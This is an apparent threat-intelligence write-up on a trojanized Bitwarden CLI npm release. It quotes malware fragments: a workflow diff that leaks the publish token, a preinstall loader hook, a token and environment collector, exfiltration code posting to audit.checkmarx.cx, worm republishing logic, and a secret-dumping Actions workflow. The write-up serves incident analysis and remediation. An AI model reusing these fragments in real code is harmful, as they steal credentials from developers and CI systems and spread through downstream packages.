Bitwarden CLI Supply Chain Compromise

TL;DR

The malicious @bitwarden/[email protected] npm release was not a normal Bitwarden update. It was a trojanized package published through Bitwarden’s npm delivery path during the wider Checkmarx and TeamPCP campaign. The package replaced the expected CLI entrypoint with a loader, pulled in the Bun runtime, launched an obfuscated payload, and then harvested developer and CI secrets.

Bitwarden said the incident affected the npm distribution path for the CLI during a short window on April 22, 2026, not Bitwarden vault data or production systems. That matters, but only after one important caveat: anyone who installed @bitwarden/[email protected] should treat the host and exposed credentials as compromised.

Impact:

• Steals GitHub tokens, npm tokens, SSH material, cloud credentials, shell history, .env files, and AI tool configuration files
• Posts encrypted data to hxxps://audit[.]checkmarx[.]cx/v1/telemetry
• Falls back to GitHub commit search and repository abuse when direct exfiltration fails
• Republished downstream npm packages using stolen publish credentials
• Injects a GitHub Actions workflow that serializes repository secrets into an artifact

Indicators of Compromise (IoC):

Analysis

Package overview

This package stood out for two reasons. First, 2026.4.0 did not match Bitwarden’s public CLI release history. In the public bitwarden/clients issue that first collected external reports, users noted that the latest legitimate CLI release was still 2026.3.0 when the malicious npm package appeared. Second, Bitwarden later confirmed that 2026.4.0 was malicious, deprecated it, and linked the incident to the ongoing Checkmarx supply chain campaign.

That puts the package in the same family as the TeamPCP-linked compromises that hit Trivy, LiteLLM, and other developer tooling earlier in 2026. The infrastructure overlap is hard to ignore. The same audit.checkmarx.cx endpoint appears again, and the payload keeps the same mix of credential theft, GitHub abuse, and downstream propagation.

The poisoned publish path

Mend’s writeup traced the publish path back to a suspicious change in bitwarden/clients/.github/workflows/publish-cli.yml. Their snippet shows three lines added to the publish job right before the malicious npm release appeared:

1
+          echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
2
           npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
3
+          cp scripts/cli-2026.4.0.tgz /tmp
4
+          cd /tmp
5
           npm publish scripts/cli-2026.4.0.tgz

That change does two jobs. It prints the npm publish token into CI logs in double-base64 form, and it swaps the package being published. The GitHub issue timeline shows the suspicious commit landed at 21:18 UTC on April 22, 2026. The npm release metadata recorded 2026.4.0 at 21:22:59 UTC. That four minute gap is short enough to treat the workflow modification and package publish as part of the same attack chain.

The issue thread also notes the suspicious commit lives in the repo’s fork network rather than on a normal branch. That detail matches a pattern already seen in the TeamPCP campaign: attackers abuse GitHub’s fork object store and workflow permissions to route malicious changes into release infrastructure without leaving a normal branch history behind.

The package execution path was replaced

JFrog’s analysis shows the malicious package did not need to alter Bitwarden’s compiled CLI logic in place. It only needed to change the outer package metadata so npm would run the attacker’s loader instead of the legitimate CLI:

1
{
2
  "scripts": {
3
    "preinstall": "node bw_setup.js"
4
  },
5
  "bin": {
6
    "bw": "bw_setup.js"
7
  }
8
}

That is enough. preinstall executes during package installation, and the bw binary path now points to the same loader. A developer does not need to log in to Bitwarden or use the CLI. Merely installing the package triggers the malicious code path.

JFrog also noted another useful clue: the outer package claimed to be 2026.4.0, while metadata inside the bundled application still pointed to Bitwarden CLI 2026.3.0. That mismatch suggests an older legitimate release was repackaged with a malicious wrapper rather than built through the normal vendor pipeline.

Loader and payload

The first stage, bw_setup.js, is small and readable. Its job is to bootstrap Bun and then hand execution to the obfuscated second stage:

1
const BUN_VERSION = '1.3.13';
2
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
3

4
// ... download, extract, chmod ...
5

6
execFileSync(binPath, ['bw1.js'], { stdio: 'inherit' });

That choice is practical. The package does not need Bun to be present on the target system, and the attacker gets access to Bun-specific APIs once the runtime lands. JFrog and Mend both describe the second stage, bw1.js, as heavily obfuscated and much larger than the loader. Mend measured it at roughly 9.7 MB and described multiple embedded payload blobs inside it.

What the payload steals

This payload behaves like a workstation and CI loot collector, not a narrow npm token stealer. JFrog’s deobfuscation shows the shell collector explicitly calls gh auth token and then scans the result along with environment data:

1
class un extends $f {
2
  constructor() {
3
    super('shell', 'misc', {
4
      ghtoken: /ghp_[A-Za-z0-9]{36}/g,
5
      npmtoken: /npm_[A-Za-z0-9]{36,}/g,
6
    });
7
  }
8

9
  async ['execute']() {
10
    let result = {};
11
    try {
12
      let token = execSync('gh auth token', {
13
        encoding: 'utf-8',
14
        stdio: ['pipe', 'pipe', 'pipe'],
15
      }).trim();
16
      if (token) result.token = token;
17
    } catch {}
18
    result.environment = process.env;
19
    return this.success(result);
20
  }
21
}

The file collector goes further. JFrog and Mend both show it targeting ~/.npmrc, .git/config, .git-credentials, ~/.aws/credentials, .env, ~/.bash_history, ~/.zsh_history, and AI tool configuration files such as ~/.claude.json, ~/.claude/mcp.json, and ~/.kiro/settings/mcp.json. That last part matters. This was not generic credential theft. The operator explicitly hunted for agent and MCP configuration data on developer machines.

Exfiltration and GitHub fallback

JFrog published the payload’s encryption and primary exfiltration code. The package compresses the results, wraps a random AES key with RSA OAEP, and posts the encrypted envelope to the Checkmarx lookalike domain:

1
async ["encryptProviderResults"](results) {
2
  let json = JSON.stringify(results);
3
  let compressed = await gzip(Buffer.from(json));
4
  let aesKey = crypto.randomBytes(32);
5
  let iv = crypto.randomBytes(12);
6
  let wrappedKey = crypto.publicEncrypt({
7
    "key": Fr,
8
    "padding": crypto.constants.RSA_PKCS1_OAEP_PADDING,
9
    "oaepHash": "sha256"
10
  }, aesKey);
11
  let cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
12
  ...
13
}
14

15
class Cy extends yH {
16
  constructor(domain, port, path) {
17
    super("domain", {
18
      "domain": domain ?? "audit.checkmarx.cx",
19
      "port": port ?? 443,
20
      "path": path ?? "v1/telemetry"
21
    });
22
  }
23
}

When direct HTTPS exfiltration fails, the malware does not stop. JFrog describes a fallback path that searches GitHub commit messages for staged PATs and alternative routing data. That makes the payload more resilient than the average npm credential stealer, and it fits the same GitHub-abuse pattern seen in other TeamPCP-linked incidents.

Worm behavior and CI secret dumping

Mend’s analysis shows the package can also republish other npm packages if it finds valid publish credentials. Their deobfuscated snippet shows the worm replacing downstream preinstall scripts with a new dropper and then publishing via Bun:

1
_0x3ddece.scripts['preinstall'] = __decodeScrambled(
2
  [0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18]
3
  // decodes to: "node setup.mjs"
4
);
5
await Bun.write(setupPath, K$);
6
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
7
await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);

If a GitHub token with repo and workflow scope is available, the payload moves into the victim’s repositories and injects a workflow named Formatter:

1
# package/bw1.js embedded workflow
2
name: Formatter
3
on:
4
  push:
5
jobs:
6
  format:
7
    runs-on: ubuntu-latest
8
    env:
9
      VARIABLE_STORE: ${{ toJSON(secrets) }}
10
    steps:
11
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
12
      - name: Run Formatter
13
        run: echo "$VARIABLE_STORE" > format-results.txt
14
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
15
        with:
16
          name: format-results
17
          path: format-results.txt

That turns a stolen developer token into CI secret theft across every repository the token can modify. One installation can become several compromised publish paths if the victim has enough access.

What to do if this version was installed

Treat @bitwarden/[email protected] as a host-level credential exposure event.

1. Remove the package and any dropped artifacts such as bw_setup.js, bw1.js, bun, or bun.exe.
2. Rotate GitHub tokens, npm tokens, SSH keys, cloud credentials, and any secrets present in .env files or CI environments on that host.
3. Review GitHub repositories the user could write to for unexpected workflow files, branches, or artifact uploads.
4. Block and hunt for traffic to audit.checkmarx[.]cx and related fallback GitHub search patterns.

This incident also reinforces a release engineering point that has come up repeatedly in 2026. Trusted publishing reduces one class of token theft, but it does not save a release pipeline that can still be steered by a poisoned workflow, a compromised dependency scanner, or an attacker who already reached the publishing job.

The same lesson showed up in the earlier Trivy supply chain compromise, the malicious LiteLLM package analysis, and the broader agent skills threat model. Once a build or agent path can read secrets and publish artifacts, the package registry becomes the last step, not the first breach.

References

• Bitwarden issue tracking the malicious CLI release
• Bitwarden statement on the Checkmarx supply chain incident
• JFrog analysis of the hijacked Bitwarden CLI
• Mend writeup on the poisoned @bitwarden/cli package
• BleepingComputer coverage with Bitwarden’s response
• The Hacker News report on the Checkmarx-linked campaign